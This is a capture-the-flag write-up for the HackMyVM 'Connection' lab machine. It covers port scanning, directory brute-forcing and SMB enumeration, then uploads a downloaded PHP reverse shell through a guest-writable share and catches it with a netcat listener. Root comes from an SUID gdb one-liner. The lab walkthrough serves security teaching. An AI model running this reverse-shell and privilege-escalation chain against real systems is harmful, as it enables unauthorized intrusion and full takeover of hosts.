> For the complete documentation index, see [llms.txt](https://ctfs.bajirao.dev/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ctfs.bajirao.dev/hackmyvm/connection-write-up.md).

# Connection Write-Up

## Introduction

In this write-up, I will guide you through the steps I took to complete the HackMyVM - Connection CTF challenge. The objective is to gain root access to the target machine by exploiting identified vulnerabilities. Checkout the video [here](https://youtu.be/DpPyX6x_DYQ) (update this).

## TL;DR

* [x] Run Nmap.
* [x] Enumerate SMB Server.
* [x] Upload PHP Reverse Shell.
* [x] Get user flag.
* [x] Check SUID permissions.
* [x] Escalate privilege.
* [x] Get root flag.

## Reconnaissance

### **Network/Port Scanning (Nmap)** <a href="#network-port-scanning-nmap" id="network-port-scanning-nmap"></a>

**Command:**&#x20;

```bash
nmap -sV -sC -vv -oA connection 172.16.101.89
```

**Explanation:**

* `nmap`: Tool used to scan network and ports to discover which services are running.
* `-sV`: Perform version detection of services.
* `-sC`: Scan using default scripts.
* `-oA`: Output in filename "connection".
* `172.16.101.89`: IP address of Connection VM on my network.

**Output:**&#x20;

<figure><img src="/files/Nse5uF5TxEgU53AVJzPj" alt=""><figcaption></figcaption></figure>

```
# Nmap 7.95 scan initiated Tue Oct 22 22:18:23 2024 as: nmap -sC -sV -vv -oA connection -p- 172.16.101.89
Nmap scan report for connection.home.com (172.16.101.89)
Host is up, received syn-ack (0.0060s latency).
Scanned at 2024-10-22 22:18:23 PDT for 15s
Not shown: 65531 closed tcp ports (conn-refused)
PORT    STATE SERVICE     REASON  VERSION
22/tcp  open  ssh         syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 b7:e6:01:b5:f9:06:a1:ea:40:04:29:44:f4:df:22:a1 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxNh+4rTxFF/c8dZwGAg+SIl5zJE1Rq8y3vlHZ2P7gTdRQDb7XlWK8W5O0XVtBVqWlvLZlHIOniUJlSlcps51cHo58B9KczrZME5phRmiYLOo2pTBmra6sZADq7mmlHkpz1LbpmgzSGchrrp9pSxUjcdmpffhgd79i/q0d4ya7vK4R/tcegMNUxjkmW83JCu0Mc2qw3JvzqCQ5BGyrgGrsb4VguV/MZrPzX8nwM7i2ivsg+d171360aa9SXtoGELkBfeqCOKRCOckw2gfQlo2tsdc26jwimBygMPpkAH87zMJdl5iEX7p9tPr4ddIp9DtPjsSB3Cu2ObOr9iAYVvy5
|   256 fb:16:94:df:93:89:c7:56:85:84:22:9e:a0:be:7c:95 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNHVs0JAs/3OsoWURkn+P6KrjxC1zzMry+q3H+RX+UW05NQvD3NORKjL0gnr+LOumhE1cMGmCgMTcaJ41T5nbxM=
|   256 45:2e:fb:87:04:eb:d1:8b:92:6f:6a:ea:5a:a2:a1:1c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIM9EVXAcxAJmQLNl3ttKL8QEWy+X+0R/rmS0tyt/bd2t
80/tcp  open  http        syn-ack Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Apache2 Debian Default Page: It works
| http-methods:
|_  Supported Methods: GET POST OPTIONS HEAD
139/tcp open  netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn syn-ack Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
Service Info: Host: CONNECTION; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| nbstat: NetBIOS name: CONNECTION, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   CONNECTION<00>       Flags: <unique><active>
|   CONNECTION<03>       Flags: <unique><active>
|   CONNECTION<20>       Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|   WORKGROUP<1e>        Flags: <group><active>
| Statistics:
|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|   00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00:00
|_  00:00:00:00:00:00:00:00:00:00:00:00:00:00
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.9.5-Debian)
|   Computer name: connection
|   NetBIOS computer name: CONNECTION\x00
|   Domain name: \x00
|   FQDN: connection
|_  System time: 2024-10-23T01:18:38-04:00
| smb2-time:
|   date: 2024-10-23T05:18:38
|_  start_date: N/A
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| p2p-conficker:
|   Checking for Conficker.C or higher...
|   Check 1 (port 34253/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 38421/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 43723/udp): CLEAN (Failed to receive data)
|   Check 4 (port 46473/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
|_clock-skew: mean: 1h20m00s, deviation: 2h18m34s, median: 0s

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Oct 22 22:18:38 2024 -- 1 IP address (1 host up) scanned in 15.28 seconds
```

**Findings:**

After a very long time, we get to see many services running on the box. We see that there is a web server running on port 80, an SMB server on port 139, 445 and an SSH server on port 22 which I am assuming is for better shell access after we find the user password or private key.

Let's check out the web server and in the background we can run `gobuster` to brute force web directories.

### **Directory Brute-forcing (Gobuster)**

**Command:**

```bash
gobuster dir -u http://172.16.101.89 -w /SecLists/Discovery/Web-Content/directory-list-2.3-big.txt -x php,txt,html | tee -a connection.gobuster
```

***Note:*****&#x20;I have setup an alias to run&#x20;*****gobuster*****&#x20;inside a docker container.**

Alias: `alias gobuster='docker run -it --rm --name gobuster -v /home/ayush/Tools/SecLists/:/SecLists ghcr.io/oj/gobuster'`

**Explanation:**

* `dir`: Mode of operation indicating directory/file enumeration.
* `-u http://172.16.101.89`: Base URL of the target web server to scan.
* `-w /SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt`: Path of word list to use.
* `-x php,txt,html`: Search for the PHP, HTML and TXT file extensions.

**Output:**

<figure><img src="/files/6BZvi09HNR3tKRnFPfjS" alt=""><figcaption></figcaption></figure>

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://172.16.101.89
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 278]
/index.html           (Status: 200) [Size: 10701]
/.html                (Status: 403) [Size: 278]
/.php                 (Status: 403) [Size: 278]
/.html                (Status: 403) [Size: 278]
/server-status        (Status: 403) [Size: 278]
Progress: 882236 / 882240 (100.00%)
===============================================================
Finished
===============================================================
```

**Findings:**

Let's check out the web server and in the background we can run `gobuster` to brute force web directories.

### Visiting Web Page (Port 80)

<figure><img src="/files/mCkTTzStrYWKLH2dkiKG" alt=""><figcaption></figcaption></figure>

This is just the normal landing page for an Apache server. On checking the source code, there is nothing extra or interesting. So, let's test the SMB server.

### **Enumerating Samba Server (enum4linux)**

**Command:**

```bash
enum4linux -a 172.16.101.89
```

**Explanation:**

* `-a`: Do all simple enumeration (-U -S -G -P -r -o -n -i).
* `172.16.101.89`: IP of the target samba server to enumerate.

**Output:**

<figure><img src="/files/WPE4N0OFDd3L7CTduYmm" alt=""><figcaption></figcaption></figure>

```
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Oct 22 22:30:57 2024

 =========================================( Target Information )=========================================

Target ........... 172.16.101.89
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ===========================( Enumerating Workgroup/Domain on 172.16.101.89 )===========================


[+] Got domain/workgroup name: WORKGROUP


 ===============================( Nbtstat Information for 172.16.101.89 )===============================

Looking up status of 172.16.101.89
	CONNECTION      <00> -         B <ACTIVE>  Workstation Service
	CONNECTION      <03> -         B <ACTIVE>  Messenger Service
	CONNECTION      <20> -         B <ACTIVE>  File Server Service
	..__MSBROWSE__. <01> - <GROUP> B <ACTIVE>  Master Browser
	WORKGROUP       <00> - <GROUP> B <ACTIVE>  Domain/Workgroup Name
	WORKGROUP       <1d> -         B <ACTIVE>  Master Browser
	WORKGROUP       <1e> - <GROUP> B <ACTIVE>  Browser Service Elections

	MAC Address = 00-00-00-00-00-00

 ===================================( Session Check on 172.16.101.89 )===================================


[+] Server 172.16.101.89 allows sessions using username '', password ''


 ================================( Getting domain SID for 172.16.101.89 )================================

Domain Name: WORKGROUP
Domain Sid: (NULL SID)

[+] Can't determine if host is part of domain or part of a workgroup


 ==================================( OS information on 172.16.101.89 )==================================


[E] Can't get OS info with smbclient


[+] Got OS info for 172.16.101.89 from srvinfo:
	CONNECTION     Wk Sv PrQ Unx NT SNT Private Share for uploading files
	platform_id     :	500
	os version      :	6.1
	server type     :	0x809a03


 =======================================( Users on 172.16.101.89 )=======================================



 =================================( Share Enumeration on 172.16.101.89 )=================================


	Sharename       Type      Comment
	---------       ----      -------
	share           Disk
	print$          Disk      Printer Drivers
	IPC$            IPC       IPC Service (Private Share for uploading files)
Reconnecting with SMB1 for workgroup listing.

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            CONNECTION

[+] Attempting to map shares on 172.16.101.89

//172.16.101.89/share	Mapping: OK Listing: OK Writing: N/A
//172.16.101.89/print$	Mapping: DENIED Listing: N/A Writing: N/A

[E] Can't understand response:

NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
//172.16.101.89/IPC$	Mapping: N/A Listing: N/A Writing: N/A

 ===========================( Password Policy Information for 172.16.101.89 )===========================



[+] Attaching to 172.16.101.89 using a NULL share

[+] Trying protocol 139/SMB...

[+] Found domain(s):

	[+] CONNECTION
	[+] Builtin

[+] Password Info for Domain: CONNECTION

	[+] Minimum password length: 5
	[+] Password history length: None
	[+] Maximum password age: 37 days 6 hours 21 minutes
	[+] Password Complexity Flags: 000000

		[+] Domain Refuse Password Change: 0
		[+] Domain Password Store Cleartext: 0
		[+] Domain Password Lockout Admins: 0
		[+] Domain Password No Clear Change: 0
		[+] Domain Password No Anon Change: 0
		[+] Domain Password Complex: 0

	[+] Minimum password age: None
	[+] Reset Account Lockout Counter: 30 minutes
	[+] Locked Account Duration: 30 minutes
	[+] Account Lockout Threshold: None
	[+] Forced Log off Time: 37 days 6 hours 21 minutes



[+] Retieved partial password policy with rpcclient:


Password Complexity: Disabled
Minimum Password Length: 5


 ======================================( Groups on 172.16.101.89 )======================================


[+] Getting builtin groups:


[+]  Getting builtin group memberships:


[+]  Getting local groups:


[+]  Getting local group memberships:


[+]  Getting domain groups:


[+]  Getting domain group memberships:


 ==================( Users on 172.16.101.89 via RID cycling (RIDS: 500-550,1000-1050) )==================


[I] Found new SID:
S-1-22-1

[I] Found new SID:
S-1-5-32

[I] Found new SID:
S-1-5-32

[I] Found new SID:
S-1-5-32

[I] Found new SID:
S-1-5-32

[+] Enumerating users using SID S-1-5-21-3843522870-3254407083-846408333 and logon username '', password ''

S-1-5-21-3843522870-3254407083-846408333-501 CONNECTION\nobody (Local User)
S-1-5-21-3843522870-3254407083-846408333-513 CONNECTION\None (Domain Group)

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\connection (Local User)

[+] Enumerating users using SID S-1-5-32 and logon username '', password ''

S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)

 ===============================( Getting printer info for 172.16.101.89 )===============================

No printers returned.


enum4linux complete on Tue Oct 22 22:31:38 2024
```

**Findings:**

* A user `connection` was found.
* A shared folder `share` was found.
* Guest login without credentials is allowed.

Let's try connecting to the `share` folder as a guest. Use the following command to do so:

```
smbclient --no-pass //172.16.101.89/share
```

**Output:**

<figure><img src="/files/Rqm1w0Ui8r2TImR3MvOu" alt=""><figcaption></figcaption></figure>

We see that the `share` folder is the folder that serves the files on the HTTP server. So using the SMB server, we can add a PHP Reverse Shell there and access it from the HTTP server.

## User (*www-data*) Access

### Gaining Reverse Shell

So, in another terminal, download the PHP Reverse Shell:

```bash
wget https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/refs/heads/master/php-reverse-shell.php
```

Change the IP Address in the Reverse Shell file to your attacking machine:

<figure><img src="/files/XWklJq8WIUHUI7DFqQWi" alt=""><figcaption></figcaption></figure>

After setting up the PHP Reverse Shell, we have to copy it to the *html* folder in the SMB share. In the terminal where we connected to the SMB server, run the following command to copy the Reverse Shell:

```
put php-reverse-shell.php
```

<figure><img src="/files/AQCbGzKF2BHhXljXwoYO" alt=""><figcaption></figcaption></figure>

Now, we should be able to run the Reverse Shell by visiting the following URL:

```
http://172.16.101.89/php-reverse-shell.php
```

So, lets start our listener with the following command:

```bash
nc -lvnp 1234
```

After visiting the above URL we will have a reverse shell as shown:

<figure><img src="/files/JigHvCFEYdyqJcCC4ySR" alt=""><figcaption></figcaption></figure>

First thing we do, is upgrade the shell.

```bash
python3 -c 'import pty;pty.spawn("/bin/bash")';
export TERM=xterm
```

<figure><img src="/files/paNbODcYwhTvSkIYRzz0" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

Let's checkout the `sudo` permissions we have for *www-data*. Command:

```bash
sudo -l
```

**Output:**

<figure><img src="/files/L9Tn7Qmf8nlRpe1IAVqw" alt=""><figcaption></figcaption></figure>

It seems the *sudo* command is not present in the machine. So, next we move on to the [OSCP Privilege Escalation Cheatsheet](https://github.com/evets007/OSCP-Prep-cheatsheet/blob/master/linux-privesc.md#find-suid-files) that we refer to, to look for files with SUID or SGID permission.

We check for SETUID capable binaries using the command:

```bash
find / -perm -g=s -type f 2>/dev/null
```

**Output:**

<figure><img src="/files/83e4xuLmQ0N9jQTGNcEb" alt=""><figcaption></figcaption></figure>

There is an interesting file here, the */usr/bin/gdb* file. On checking [GTFOBins](https://gtfobins.github.io/gtfobins/gdb/) we see that */usr/bin/gdb* can be used to get *root* shell with the following command:

```bash
/usr/bin/gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
```

<figure><img src="/files/ycA8yguSNyRwscUSvZoX" alt=""><figcaption></figcaption></figure>

And thus we have root.

And finally, we can read the root flag:

```bash
cat /root/proof.txt
```
